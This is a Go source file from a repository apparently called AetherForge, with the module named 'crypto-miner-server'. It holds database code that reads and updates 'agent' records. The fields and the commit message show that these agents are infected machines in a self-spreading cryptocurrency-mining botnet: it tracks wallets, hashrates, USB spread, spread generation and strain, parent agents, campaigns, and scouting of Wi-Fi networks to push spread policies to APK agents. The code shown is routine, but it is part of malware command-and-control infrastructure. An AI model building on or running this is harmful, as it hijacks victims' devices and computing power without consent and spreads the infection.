Files
AetherForge/server/internal/db/agent_meta.go
AetherForge bbab38f8e1
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add scout constellation mode for APK venue persona packs.
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
2026-06-07 09:18:58 -07:00

79 lines
2.4 KiB
Go

package db
import (
"database/sql"
"encoding/json"
"log"
"strings"
"crypto-miner-server/internal/models"
)
func decodeTags(raw string) []string {
raw = strings.TrimSpace(raw)
if raw == "" || raw == "[]" {
return []string{}
}
var tags []string
if err := json.Unmarshal([]byte(raw), &tags); err != nil {
log.Printf("[db] decodeTags: corrupt tags JSON ignored (%v): %q", err, raw)
return []string{}
}
return tags
}
func encodeTags(tags []string) string {
if len(tags) == 0 {
return "[]"
}
b, _ := json.Marshal(tags)
return string(b)
}
func (d *Database) scanAgent(row interface {
Scan(dest ...any) error
}) (*models.Agent, error) {
a := &models.Agent{}
var notes, tagsRaw string
var usbSpread int
var gpuMinerActive int
var graftStrain, graftTier sql.NullString
var graftApproved sql.NullString
err := row.Scan(
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
&a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign,
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
&a.ParentAgentID, &a.SpreadGeneration, &a.SpreadStrain,
&graftStrain, &graftTier, &graftApproved,
)
if err != nil {
return nil, err
}
a.Notes = notes
a.Tags = decodeTags(tagsRaw)
a.USBSpread = usbSpread == 1
if gpuMinerActive == 1 {
active := true
a.GPUMinerActive = &active
}
a.GraftSourceStrain, a.GraftTier, a.GraftApprovedAt = scanGraftFields(graftStrain, graftTier, graftApproved)
return a, nil
}
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active,
parent_agent_id, spread_generation, spread_strain,
graft_source_strain, graft_tier, graft_approved_at`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
return err
}